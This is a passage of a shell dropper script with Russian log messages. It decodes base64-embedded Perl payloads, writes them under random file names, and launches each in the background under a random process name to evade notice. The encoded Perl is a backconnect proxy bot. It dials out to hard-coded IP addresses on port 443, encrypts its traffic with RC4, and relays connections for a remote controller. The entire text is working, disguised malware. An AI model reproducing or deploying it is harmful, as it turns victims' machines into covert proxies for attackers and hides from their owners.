ZWN0aW9uKCRlYngsIFxAc29ja2V0YXJyYXksICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVi eF0sICRidWZmZXIwKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzZSB7CgkJCQkJCSAK CQkJCQkJIHNlbmQoJHNvY2tldGFyclskZWJ4XSwgc3Vic3RyKCRidWZmZXIwLCA0LCAkcmVtYWlu aW5nKSwgTVNHX05PU0lHTkFMKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkgCgkJCQkJICRyZW1haW5p bmcgPSAwOwoJCQkJfQoJCQkJCgkJCX0KCQkJIAoJCQkgJHJlbWFpbmluZzQgPSAwOwoJCQkgCgkJ fQoJCQoJCWVsc2UgewoJCQkKCQkJIGlmICgkcmVtYWluaW5nNCA9PSAwKSB7ICRidWZmZXIwID0g Jyc7IH0KCQkJCgkJCSAkZWF4ID0gNDsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0 OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4 aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg XCRwb3J0KTsK BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #44 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && exec -a "$RANDOM_PROC_NAME" perl ./$PAYLOAD_NAME > /dev/null 2>&1) & else echo "[RUNNER] Компонент #44 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && exec -a "$RANDOM_PROC_NAME" ./$PAYLOAD_NAME > /dev/null 2>&1) & fi if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 45 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzE4NS45My44OS4xNjgnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15 ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk cG9ja2Vtb241ID0gMDsKCQoJIG15ICRwb2NrZW1vbjYgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9 IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRy c2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgbXkgJHQgPSAw OwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8PSAyNTU7ICRpKyspIHsgc3Vic3RyKCRyYzQsICRp LCAxKSA9IHBhY2soJ0MnLCAkaSk7IH0KCSAKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwg JHN0YXJ0ICsgJHJzaSwgMSkgPSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw LCAkc3RhcnQgKyAkcnNpLCAxKSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwg MSkpKSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBp ZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxl KCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAK CQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJ IGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJ CSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vt b243ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpKTsKCQkgCgkJICR0 ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRwb2NrZW1vbjIsIDEpKTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHQ7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uNiA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7 CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9u Nik7CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tl bW9uNyk7CgkJIAoJCSAkcG9ja2Vtb24wKys7CgoJCSAkcG9ja2Vtb24wID0gJHBvY2tlbW9uMCAm IDI1NTsKCQkgCgkJIGlmICgkcG9ja2Vtb24wICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMTsKCQkJ IAoJCQkgbmV4dDsKCQl9CgkJCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0g MDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24z ID0gMDsKCQkgCgkJIHdoaWxlKDEpIHsKCQkJIAoJCQkgJHBvY2tlbW9uMisrOwoKCQkJICRwb2Nr ZW1vbjIgPSAkcG9ja2Vtb24yICYgMjU1OwoKCQkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBz dWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2Nr ZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9u OCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7CgoJCQkgc3Vic3Ry KCRyYzQsICRwb2NrZW1vbjIsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjgpOwoJCSAKCQkJIHN1 YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCgkJCSAk cG9ja2Vtb244ICs9ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYg MjU1OwoKCQkJICRwb2NrZW1vbjAgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9u OCwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb241ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRwb2NrZW1vbjMsIDEpKTsKCgkJCSAkcG9ja2Vtb241ID0gJHBvY2tlbW9uNSBe ICRwb2NrZW1vbjA7CgkJCSAKCQkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24z LCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb241KTsKCQkJIAoJCQkgJHBvY2tlbW9uMysrOwoJCQkg CgkJCSBpZiAoLS0kcG9ja2Vtb240ID09IDApCgkJCSB7CgkJCQkgbGFzdDsKCQkJIH0KCQkJIAoJ CX0KCQkgCgkJIGxhc3Q7Cgl9CgkKCSAkcnNpID0gMDsKCQoJICRyY3ggPSAkc3o7CgkKCSAkcmJ4 ID0gMDsKCQoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9 IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEp KSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2kr KzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgp IHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1 YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVy ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRmbGFncwk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgs ICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzZW5kKCRjU29j a2V0LCAkYnVmZmVyLCAkZmxhZ3MpOwoJIAoJICMgPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0KCSAKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgk ZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgkKCW15ICRudW0gPSBzaGlmdChAXyk7CgkKCW15 ICRzb2NrZXRhcnJheSA9IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkK CW15ICRjU29ja2V0ID0gc2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKICAg IHRocmVhZHMtPmNyZWF0ZSggc3ViIHsKCQkKCQlteSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJG51 bSkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJ CgkJbXkgJGRvbWFpbiA9ICcnOwoJCQoJCW15ICRwb3J0ID0gMDsKCQkKCQlteSAkX3JldCA9IDA7 CgkJCgkJbXkgJGRhdGEgPSAnJzsKCQkKCQlteSAkYnVmZmVyID0gJyc7CgkJCgkJc2V0c29ja29w dCgkY1NvY2tldCwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkKCQlmY250bCgkY1Nv Y2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkJCgkJaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZjAsIDcsIDEpKSA9PSAzKSB7CgkJCQoJCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwg dW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwgOCwgMSkpKTsKCQkJCgkJCSRwb3J0ID0gdW5wYWNr KCdTJywgc3Vic3RyKCRidWZmMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEp KSArIDEsIDEpLnN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4 LCAxKSkgKyAwLCAxKSk7CgkJCQoJCX0KCQkKCQllbHNpZiAodW5wYWNrKCdDJywgc3Vic3RyKCRi dWZmMCwgNywgMSkpID09IDEpIHsKCQkJCgkJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4l ZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAwLCAxKSksIHVucGFjaygnQycsIHN1 YnN0cigkYnVmZjAsIDggKyAxLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAy LCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAzLCAxKSkpOwoJCQkKCQkJJHBv cnQgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmYwLCAxMiArIDEsIDEpLnN1YnN0cigkYnVmZjAs IDEyICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgZ290byBjbG9zZV87CgkJ fQoJCQoJCSBldmFsIHsKCQkJIAoJCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGlu ZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoJCSAK CQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxl c3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEwKSkgeyBnb3RvIGNsb3NlXzsgfQoJCSAK CQkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCQkgCgkJCSBzdWJzdHIoJHJlc3BvbmNl LCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCSAkX3JldCA9IDE7CgkJCSAKCQkgfTsKCQkgCgkJIGNs b3NlXzoKCQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsK CQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJ CSBzeW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIE1TR19OT1NJR05BTCk7CgkJIAoJCSBSYzRf Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBpZiAoJF9yZXQg PT0gMSkgewoJCQkgCgkJCSB3aGlsZSAoJCRzb2NrZXRhcnJheVskbnVtXSA9PSAxKSB7CgkJCQkg CgkJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoJCQkJIAoJ CQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMSkpIHsgbmV4dDsgfQoJCQkJ IAoJCQkJICRkYXRhID0gJyc7CgoJCQkJIHJlY3YoJGNTb2NrZXQsICRkYXRhLCA2NTUzMCwgMCk7 CgkgCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJGJ1ZmZlciA9IHBh Y2soJ0MnLCAkbnVtKS5wYWNrKCdTJywgbGVuZ3RoKCRkYXRhKSkuJGRhdGE7CgkJCQkgCgkJCQkg UmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAwLCAzKTsKCQkgCgkJCQkgUmM0X2Ny eXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAzLCBsZW5ndGgoJGRhdGEpKTsKCQkJCSAKCQkJ CSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQl9CgkJ fQoJCQoJCSAkJHNvY2tldGFycmF5WyRudW1dID0gMDsKCQkgCgkJIGNsb3NlKCRjU29ja2V0KTsK CQkgCgkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkgCgkJIFJjNF9j cnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJIHN5bnNlbmQoJHNT b2NrZXQsIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQogICAgICAg ICB0aHJlYWRzLT5kZXRhY2goKTsKICAgIH0pOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3Qg PSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmlu ZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkg bXkgQHNvY2tldGFycmF5IDpzaGFyZWQ7CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsK CSAKCSBteSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAnJzsK CSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsK CSAKCSBteSAkZGF0YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsK CSAKCSBteSAkZWR4ID0gMDsKCSAKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09D S19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0 YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOwoJIAoJIG15ICRwYWRkciA9IHNv Y2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0 KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJc eEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoJ IAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzZW5k KCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkgCgkgd2hpbGUoMSkgewoJ CSAKCQkgaWYgKCRyZW1haW5pbmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywg ZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgkJCSAKCQkJIG15ICRyZXQgPSBzZWxlY3Qo JHJpbiwgdW5kZWYsIHVuZGVmLCA2MCk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJ IAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVy bnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1h aW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgkJCQkg CgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkg CgkJCQkgc3luc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgTVNHX05PU0lHTkFMKTsK CQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAw IHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJ CQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZl cjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJ CQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAk ZWJ4ID4gMCkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJIAoJCQkJ fQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJ ICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJ CQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNz ICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEp OwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRy ZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJb JGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJ CQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSBuZXdDb25u ZWN0aW9uKCRlYngsIFxAc29ja2V0YXJyYXksICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVi eF0sICRidWZmZXIwKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzZSB7CgkJCQkJCSAK CQkJCQkJIHNlbmQoJHNvY2tldGFyclskZWJ4XSwgc3Vic3RyKCRidWZmZXIwLCA0LCAkcmVtYWlu aW5nKSwgTVNHX05PU0lHTkFMKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkgCgkJCQkJICRyZW1haW5p bmcgPSAwOwoJCQkJfQoJCQkJCgkJCX0KCQkJIAoJCQkgJHJlbWFpbmluZzQgPSAwOwoJCQkgCgkJ fQoJCQoJCWVsc2UgewoJCQkKCQkJIGlmICgkcmVtYWluaW5nNCA9PSAwKSB7ICRidWZmZXIwID0g Jyc7IH0KCQkJCgkJCSAkZWF4ID0gNDsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0 OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4 aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg XCRwb3J0KTsK BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #45 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && exec -a "$RANDOM_PROC_NAME" perl ./$PAYLOAD_NAME > /dev/null 2>&1) & else echo "[RUNNER] Компонент #45 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && exec -a "$RANDOM_PROC_NAME" ./$PAYLOAD_NAME > /dev/null 2>&1) & fi if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 46 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzE4NS45My44OS4xNjknOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs 